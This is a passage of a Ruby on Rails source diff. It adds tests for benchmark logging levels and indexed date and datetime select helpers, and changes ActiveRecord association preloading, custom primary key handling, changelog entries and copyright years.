i_was_run = false
- benchmark('debug_run', :debug) { i_was_run = true }
+
+ assert_deprecated do
+ benchmark('debug_run', :debug) { i_was_run = true }
+ end
+
assert i_was_run
- assert 1, controller.logger.logged.size
- assert_last_logged 'debug_run', :debug
+ assert_last_logged 'debug_run'
+ end
+
+ def test_within_level
+ controller.logger.level = ActiveSupport::BufferedLogger::DEBUG
+ benchmark('included_debug_run', :level => :debug) { }
+ assert_last_logged 'included_debug_run'
+ end
+
+ def test_outside_level
+ controller.logger.level = ActiveSupport::BufferedLogger::ERROR
+ benchmark('skipped_debug_run', :level => :debug) { }
+ assert_no_match(/skipped_debug_run/, buffer.last)
+ ensure
+ controller.logger.level = ActiveSupport::BufferedLogger::DEBUG
end
+ def test_without_silencing
+ benchmark('debug_run', :silence => false) do
+ controller.logger.info "not silenced!"
+ end
+
+ assert_equal 2, buffer.size
+ end
+
+ def test_with_silencing
+ benchmark('debug_run', :silence => true) do
+ controller.logger.info "silenced!"
+ end
+
+ assert_equal 1, buffer.size
+ end
+
+
private
- def assert_last_logged(message = 'Benchmarking', level = :info)
- last = controller.logger.logged.last
- assert 2, last.size
- assert_equal level, last.first
- assert 1, last[1].size
- assert last[1][0] =~ /^#{message} \(.*\)$/
+ def buffer
+ controller.logger.send(:buffer)
+ end
+
+ def assert_last_logged(message = 'Benchmarking')
+ assert_match(/^#{message} \(.*\)$/, buffer.last)
end
end
diff --git a/actionpack/test/template/compiled_templates_test.rb b/actionpack/test/template/compiled_templates_test.rb
index a68b09bb45..caea1bd643 100644
--- a/actionpack/test/template/compiled_templates_test.rb
+++ b/actionpack/test/template/compiled_templates_test.rb
@@ -31,7 +31,7 @@ uses_mocha 'TestTemplateRecompilation' do
end
def test_compiled_template_will_always_be_recompiled_when_template_is_not_cached
- ActionView::Template.any_instance.expects(:loaded?).times(3).returns(false)
+ ActionView::Template.any_instance.expects(:recompile?).times(3).returns(true)
assert_equal 0, @compiled_templates.instance_methods.size
assert_equal "Hello world!", render(:file => "#{FIXTURE_LOAD_PATH}/test/hello_world.erb")
ActionView::Template.any_instance.expects(:compile!).times(3)
@@ -62,13 +62,14 @@ uses_mocha 'TestTemplateRecompilation' do
def render_with_cache(*args)
view_paths = ActionController::Base.view_paths
- assert view_paths.first.loaded?
+ assert_equal ActionView::Template::EagerPath, view_paths.first.class
ActionView::Base.new(view_paths, {}).render(*args)
end
def render_without_cache(*args)
- view_paths = ActionView::Base.process_view_paths(FIXTURE_LOAD_PATH)
- assert !view_paths.first.loaded?
+ path = ActionView::Template::Path.new(FIXTURE_LOAD_PATH)
+ view_paths = ActionView::Base.process_view_paths(path)
+ assert_equal ActionView::Template::Path, view_paths.first.class
ActionView::Base.new(view_paths, {}).render(*args)
end
diff --git a/actionpack/test/template/date_helper_test.rb b/actionpack/test/template/date_helper_test.rb
index 6ec01b7a8f..92cdce2e45 100644
--- a/actionpack/test/template/date_helper_test.rb
+++ b/actionpack/test/template/date_helper_test.rb
@@ -1228,6 +1228,38 @@ class DateHelperTest < ActionView::TestCase
assert_dom_equal(expected, output_buffer)
end
+ def test_date_select_within_fields_for_with_index
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+ id = 27
+
+ fields_for :post, @post, :index => id do |f|
+ concat f.date_select(:written_on)
+ end
+
+ expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
+ expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
+ expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
+
+ assert_dom_equal(expected, output_buffer)
+ end
+
+ def test_date_select_within_fields_for_with_blank_index
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+ id = nil
+
+ fields_for :post, @post, :index => id do |f|
+ concat f.date_select(:written_on)
+ end
+
+ expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
+ expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
+ expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
+
+ assert_dom_equal(expected, output_buffer)
+ end
+
def test_date_select_with_index
@post = Post.new
@post.written_on = Date.new(2004, 6, 15)
@@ -1243,7 +1275,6 @@ class DateHelperTest < ActionView::TestCase
expected << %{<select id="post_456_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-
expected << "</select>\n"
assert_dom_equal expected, date_select("post", "written_on", :index => id)
@@ -1330,13 +1361,13 @@ class DateHelperTest < ActionView::TestCase
assert_dom_equal expected, date_select("post", "written_on", :include_blank => true)
end
-
+
def test_date_select_with_nil_and_blank_and_order
@post = Post.new
start_year = Time.now.year-5
end_year = Time.now.year+5
-
+
expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i"/>' + "\n"
expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
expected << "<option value=\"\"></option>\n"
@@ -1966,6 +1997,40 @@ class DateHelperTest < ActionView::TestCase
assert_dom_equal expected, datetime_select("post", "updated_at", :index => id)
end
+ def test_datetime_select_within_fields_for_with_options_index
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+ id = 456
+
+ fields_for :post, @post, :index => id do |f|
+ concat f.datetime_select(:updated_at)
+ end
+
+ expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, output_buffer
+ end
+
def test_datetime_select_with_auto_index
@post = Post.new
@post.updated_at = Time.local(2004, 6, 15, 16, 35)
@@ -2253,7 +2318,7 @@ class DateHelperTest < ActionView::TestCase
@post = Post.new
@post.updated_at = Time.local(2008, 7, 16, 23, 30)
- options = {
+ options = {
:order => [ :year, :month, :day ],
:default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
:discard_type => false,
@@ -2265,7 +2330,7 @@ class DateHelperTest < ActionView::TestCase
# note: the literal hash is intentional to show that the actual options hash isn't modified
# don't change this!
- assert_equal({
+ assert_equal({
:order => [ :year, :month, :day ],
:default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
:discard_type => false,
@@ -2279,7 +2344,7 @@ class DateHelperTest < ActionView::TestCase
@post = Post.new
@post.updated_at = Time.local(2008, 7, 16, 23, 30)
- options = {
+ options = {
:order => [ :year, :month, :day ],
:default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
:discard_type => false,
@@ -2291,7 +2356,7 @@ class DateHelperTest < ActionView::TestCase
# note: the literal hash is intentional to show that the actual options hash isn't modified
# don't change this!
- assert_equal({
+ assert_equal({
:order => [ :year, :month, :day ],
:default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
:discard_type => false,
@@ -2305,7 +2370,7 @@ class DateHelperTest < ActionView::TestCase
@post = Post.new
@post.updated_at = Time.local(2008, 7, 16, 23, 30)
- options = {
+ options = {
:order => [ :year, :month, :day ],
:default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
:discard_type => false,
@@ -2317,7 +2382,7 @@ class DateHelperTest < ActionView::TestCase
# note: the literal hash is intentional to show that the actual options hash isn't modified
# don't change this!
- assert_equal({
+ assert_equal({
:order => [ :year, :month, :day ],
:default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
:discard_type => false,
@@ -2328,7 +2393,7 @@ class DateHelperTest < ActionView::TestCase
end
def test_select_date_should_not_change_passed_options_hash
- options = {
+ options = {
:order => [ :year, :month, :day ],
:default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
:discard_type => false,
@@ -2340,7 +2405,7 @@ class DateHelperTest < ActionView::TestCase
# note: the literal hash is intentional to show that the actual options hash isn't modified
# don't change this!
- assert_equal({
+ assert_equal({
:order => [ :year, :month, :day ],
:default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
:discard_type => false,
@@ -2351,7 +2416,7 @@ class DateHelperTest < ActionView::TestCase
end
def test_select_datetime_should_not_change_passed_options_hash
- options = {
+ options = {
:order => [ :year, :month, :day ],
:default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
:discard_type => false,
@@ -2363,7 +2428,7 @@ class DateHelperTest < ActionView::TestCase
# note: the literal hash is intentional to show that the actual options hash isn't modified
# don't change this!
- assert_equal({
+ assert_equal({
:order => [ :year, :month, :day ],
:default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
:discard_type => false,
@@ -2374,7 +2439,7 @@ class DateHelperTest < ActionView::TestCase
end
def test_select_time_should_not_change_passed_options_hash
- options = {
+ options = {
:order => [ :year, :month, :day ],
:default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
:discard_type => false,
@@ -2386,7 +2451,7 @@ class DateHelperTest < ActionView::TestCase
# note: the literal hash is intentional to show that the actual options hash isn't modified
# don't change this!
- assert_equal({
+ assert_equal({
:order => [ :year, :month, :day ],
:default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
:discard_type => false,
diff --git a/actionpack/test/template/render_test.rb b/actionpack/test/template/render_test.rb
index 0387a11de2..4bd897efeb 100644
--- a/actionpack/test/template/render_test.rb
+++ b/actionpack/test/template/render_test.rb
@@ -197,7 +197,7 @@ class CachedViewRenderTest < Test::Unit::TestCase
# Ensure view path cache is primed
def setup
view_paths = ActionController::Base.view_paths
- assert view_paths.first.loaded?
+ assert_equal ActionView::Template::EagerPath, view_paths.first.class
setup_view(view_paths)
end
end
@@ -208,8 +208,9 @@ class LazyViewRenderTest < Test::Unit::TestCase
# Test the same thing as above, but make sure the view path
# is not eager loaded
def setup
- view_paths = ActionView::Base.process_view_paths(FIXTURE_LOAD_PATH)
- assert !view_paths.first.loaded?
+ path = ActionView::Template::Path.new(FIXTURE_LOAD_PATH)
+ view_paths = ActionView::Base.process_view_paths(path)
+ assert_equal ActionView::Template::Path, view_paths.first.class
setup_view(view_paths)
end
end
diff --git a/activerecord/CHANGELOG b/activerecord/CHANGELOG
index d057ddfcd0..507e37ac3b 100644
--- a/activerecord/CHANGELOG
+++ b/activerecord/CHANGELOG
@@ -1,5 +1,15 @@
*2.3.0/3.0*
+* Make after_save callbacks fire only if the record was successfully saved. #1735 [Michael Lovitt]
+
+ Previously the callbacks would fire if a before_save cancelled saving.
+
+* Support nested transactions using database savepoints. #383 [Jonathan Viney, Hongli Lai]
+
+* Added dynamic scopes ala dynamic finders #1648 [Yaroslav Markin]
+
+* Fixed that ActiveRecord::Base#new_record? should return false (not nil) for existing records #1219 [Yaroslav Markin]
+
* I18n the word separator for error messages. Introduces the activerecord.errors.format.separator translation key. #1294 [Akira Matsuda]
* Add :having as a key to find and the relevant associations. [Emilio Tagua]
@@ -5244,7 +5254,7 @@ in effect. Added :readonly finder constraint. Calling an association collectio
end
This will assume that settings is a text column and will now YAMLize any object put in that attribute. You can also specify
- an optional :class_name option that'll raise an exception if a serialized object is retrieved as a descendent of a class not in
+ an optional :class_name option that'll raise an exception if a serialized object is retrieved as a descendant of a class not in
the hierarchy. Example:
class User < ActiveRecord::Base
@@ -5740,7 +5750,7 @@ _Misc_
*0.8.2*
* Added inheritable callback queues that can ensure that certain callback methods or inline fragments are
- run throughout the entire inheritance hierarchy. Regardless of whether a descendent overwrites the callback
+ run throughout the entire inheritance hierarchy. Regardless of whether a descendant overwrites the callback
method:
class Topic < ActiveRecord::Base
diff --git a/activerecord/MIT-LICENSE b/activerecord/MIT-LICENSE
index 93be57f683..e6df48772f 100644
--- a/activerecord/MIT-LICENSE
+++ b/activerecord/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2008 David Heinemeier Hansson
+Copyright (c) 2004-2009 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb
index c428366a04..e1265b7e1e 100644
--- a/activerecord/lib/active_record.rb
+++ b/activerecord/lib/active_record.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2008 David Heinemeier Hansson
+# Copyright (c) 2004-2009 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -51,6 +51,7 @@ module ActiveRecord
autoload :Callbacks, 'active_record/callbacks'
autoload :Dirty, 'active_record/dirty'
autoload :DynamicFinderMatch, 'active_record/dynamic_finder_match'
+ autoload :DynamicScopeMatch, 'active_record/dynamic_scope_match'
autoload :Migration, 'active_record/migration'
autoload :Migrator, 'active_record/migration'
autoload :NamedScope, 'active_record/named_scope'
diff --git a/activerecord/lib/active_record/association_preload.rb b/activerecord/lib/active_record/association_preload.rb
index 7b1b2d9ad9..e4ab69aa1b 100644
--- a/activerecord/lib/active_record/association_preload.rb
+++ b/activerecord/lib/active_record/association_preload.rb
@@ -43,7 +43,7 @@ module ActiveRecord
# loading in a more high-level (application developer-friendly) manner.
module ClassMethods
protected
-
+
# Eager loads the named associations for the given ActiveRecord record(s).
#
# In this description, 'association name' shall refer to the name passed
@@ -94,8 +94,8 @@ module ActiveRecord
raise "parent must be an association name" unless parent.is_a?(String) || parent.is_a?(Symbol)
preload_associations(records, parent, preload_options)
reflection = reflections[parent]
- parents = records.map {|record| record.send(reflection.name)}.flatten
- unless parents.empty? || parents.first.nil?
+ parents = records.map {|record| record.send(reflection.name)}.flatten.compact
+ unless parents.empty?
parents.first.class.preload_associations(parents, child)
end
end
@@ -113,7 +113,7 @@ module ActiveRecord
# unnecessarily
records.group_by {|record| class_to_reflection[record.class] ||= record.class.reflections[association]}.each do |reflection, records|
raise ConfigurationError, "Association named '#{ association }' was not found; perhaps you misspelled it?" unless reflection
-
+
# 'reflection.macro' can return 'belongs_to', 'has_many', etc. Thus,
# the following could call 'preload_belongs_to_association',
# 'preload_has_many_association', etc.
@@ -128,7 +128,7 @@ module ActiveRecord
association_proxy.target.push(*[associated_record].flatten)
end
end
-
+
def add_preloaded_record_to_collection(parent_records, reflection_name, associated_record)
parent_records.each do |parent_record|
parent_record.send("set_#{reflection_name}_target", associated_record)
@@ -183,18 +183,19 @@ module ActiveRecord
conditions = "t0.#{reflection.primary_key_name} #{in_or_equals_for_ids(ids)}"
conditions << append_conditions(reflection, preload_options)
- associated_records = reflection.klass.find(:all, :conditions => [conditions, ids],
- :include => options[:include],
- :joins => "INNER JOIN #{connection.quote_table_name options[:join_table]} t0 ON #{reflection.klass.quoted_table_name}.#{reflection.klass.primary_key} = t0.#{reflection.association_foreign_key}",
- :select => "#{options[:select] || table_name+'.*'}, t0.#{reflection.primary_key_name} as the_parent_record_id",
- :order => options[:order])
-
+ associated_records = reflection.klass.with_exclusive_scope do
+ reflection.klass.find(:all, :conditions => [conditions, ids],
+ :include => options[:include],
+ :joins => "INNER JOIN #{connection.quote_table_name options[:join_table]} t0 ON #{reflection.klass.quoted_table_name}.#{reflection.klass.primary_key} = t0.#{reflection.association_foreign_key}",
+ :select => "#{options[:select] || table_name+'.*'}, t0.#{reflection.primary_key_name} as the_parent_record_id",
+ :order => options[:order])
+ end
set_association_collection_records(id_to_record_map, reflection.name, associated_records, 'the_parent_record_id')
end
def preload_has_one_association(records, reflection, preload_options={})
return if records.first.send("loaded_#{reflection.name}?")
- id_to_record_map, ids = construct_id_map(records)
+ id_to_record_map, ids = construct_id_map(records, reflection.options[:primary_key])
options = reflection.options
records.each {|record| record.send("set_#{reflection.name}_target", nil)}
if options[:through]
@@ -228,7 +229,7 @@ module ActiveRecord
options = reflection.options
primary_key_name = reflection.through_reflection_primary_key_name
- id_to_record_map, ids = construct_id_map(records, primary_key_name)
+ id_to_record_map, ids = construct_id_map(records, primary_key_name || reflection.options[:primary_key])
records.each {|record| record.send(reflection.name).loaded}
if options[:through]
@@ -248,7 +249,7 @@ module ActiveRecord
reflection.primary_key_name)
end
end
-
+
def preload_through_records(records, reflection, through_association)
through_reflection = reflections[through_association]
through_primary_key = through_reflection.primary_key_name
@@ -333,11 +334,13 @@ module ActiveRecord
end
conditions = "#{table_name}.#{connection.quote_column_name(primary_key)} #{in_or_equals_for_ids(ids)}"
conditions << append_conditions(reflection, preload_options)
- associated_records = klass.find(:all, :conditions => [conditions, ids],
+ associated_records = klass.with_exclusive_scope do
+ klass.find(:all, :conditions => [conditions, ids],
:include => options[:include],
:select => options[:select],
:joins => options[:joins],
:order => options[:order])
+ end
set_association_single_records(id_map, reflection.name, associated_records, primary_key)
end
end
@@ -355,13 +358,15 @@ module ActiveRecord
conditions << append_conditions(reflection, preload_options)
- reflection.klass.find(:all,
+ reflection.klass.with_exclusive_scope do
+ reflection.klass.find(:all,
:select => (preload_options[:select] || options[:select] || "#{table_name}.*"),
:include => preload_options[:include] || options[:include],
:conditions => [conditions, ids],
:joins => options[:joins],
:group => preload_options[:group] || options[:group],
:order => preload_options[:order] || options[:order])
+ end
end
diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb
index 5a60b13fd8..8b51a38f48 100755
--- a/activerecord/lib/active_record/associations.rb
+++ b/activerecord/lib/active_record/associations.rb
@@ -22,7 +22,7 @@ module ActiveRecord
through_reflection = reflection.through_reflection
source_reflection_names = reflection.source_reflection_names
source_associations = reflection.through_reflection.klass.reflect_on_all_associations.collect { |a| a.name.inspect }
- super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence :connector => 'or'} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence :connector => 'or'}?")
+ super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence :two_words_connector => ' or ', :last_word_connector => ', or '} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence :two_words_connector => ' or ', :last_word_connector => ', or '}?")
end
end
@@ -1216,11 +1216,11 @@ module ActiveRecord
# callbacks will be executed after the association is wiped out.
old_method = "destroy_without_habtm_shim_for_#{reflection.name}"
class_eval <<-end_eval unless method_defined?(old_method)
- alias_method :#{old_method}, :destroy_without_callbacks
- def destroy_without_callbacks
- #{reflection.name}.clear
- #{old_method}
- end
+ alias_method :#{old_method}, :destroy_without_callbacks # alias_method :destroy_without_habtm_shim_for_posts, :destroy_without_callbacks
+ def destroy_without_callbacks # def destroy_without_callbacks
+ #{reflection.name}.clear # posts.clear
+ #{old_method} # destroy_without_habtm_shim_for_posts
+ end # end
end_eval
add_association_callbacks(reflection.name, options)
@@ -1463,22 +1463,22 @@ module ActiveRecord
before_destroy method_name
when :delete_all
module_eval %Q{
- before_destroy do |record|
- delete_all_has_many_dependencies(record,
- "#{reflection.name}",
- #{reflection.class_name},
- %@#{dependent_conditions}@)
- end
+ before_destroy do |record| # before_destroy do |record|
+ delete_all_has_many_dependencies(record, # delete_all_has_many_dependencies(record,
+ "#{reflection.name}", # "posts",
+ #{reflection.class_name}, # Post,
+ %@#{dependent_conditions}@) # %@...@) # this is a string literal like %(...)
+ end # end
}
when :nullify
module_eval %Q{
- before_destroy do |record|
- nullify_has_many_dependencies(record,
- "#{reflection.name}",
- #{reflection.class_name},
- "#{reflection.primary_key_name}",
- %@#{dependent_conditions}@)
- end
+ before_destroy do |record| # before_destroy do |record|
+ nullify_has_many_dependencies(record, # nullify_has_many_dependencies(record,
+ "#{reflection.name}", # "posts",
+ #{reflection.class_name}, # Post,
+ "#{reflection.primary_key_name}", # "user_id",
+ %@#{dependent_conditions}@) # %@...@) # this is a string literal like %(...)
+ end # end
}
else
raise ArgumentError, "The :dependent option expects either :destroy, :delete_all, or :nullify (#{reflection.options[:dependent].inspect})"
@@ -1531,14 +1531,14 @@ module ActiveRecord
association = send(reflection.name)
association.destroy unless association.nil?
end
- before_destroy method_name
+ after_destroy method_name
when :delete
method_name = "belongs_to_dependent_delete_for_#{reflection.name}".to_sym
define_method(method_name) do
association = send(reflection.name)
association.delete unless association.nil?
end
- before_destroy method_name
+ after_destroy method_name
else
raise ArgumentError, "The :dependent option expects either :destroy or :delete (#{reflection.options[:dependent].inspect})"
end
@@ -2171,7 +2171,7 @@ module ActiveRecord
aliased_table_name,
foreign_key,
parent.aliased_table_name,
- parent.primary_key
+ reflection.options[:primary_key] || parent.primary_key
]
end
when :belongs_to
diff --git a/activerecord/lib/active_record/associations/association_proxy.rb b/activerecord/lib/active_record/associations/association_proxy.rb
index 59f1d3b867..676c4ace61 100644
--- a/activerecord/lib/active_record/associations/association_proxy.rb
+++ b/activerecord/lib/active_record/associations/association_proxy.rb
@@ -180,7 +180,10 @@ module ActiveRecord
record["#{@reflection.options[:as]}_id"] = @owner.id unless @owner.new_record?
record["#{@reflection.options[:as]}_type"] = @owner.class.base_class.name.to_s
else
- record[@reflection.primary_key_name] = @owner.id unless @owner.new_record?
+ unless @owner.new_record?
+ primary_key = @reflection.options[:primary_key] || :id
+ record[@reflection.primary_key_name] = @owner.send(primary_key)
+ end
end
end
diff --git a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
index 3d689098b5..a5cc3bf091 100644
--- a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
+++ b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
@@ -9,6 +9,14 @@ module ActiveRecord
create_record(attributes) { |record| insert_record(record, true) }
end
+ def columns
+ @reflection.columns(@reflection.options[:join_table], "#{@reflection.options[:join_table]} Columns")
+ end
+
+ def reset_column_information
+ @reflection.reset_column_information
+ end
+
protected
def construct_find_options!(options)
options[:joins] = @join_sql
@@ -32,8 +40,6 @@ module ActiveRecord
if @reflection.options[:insert_sql]
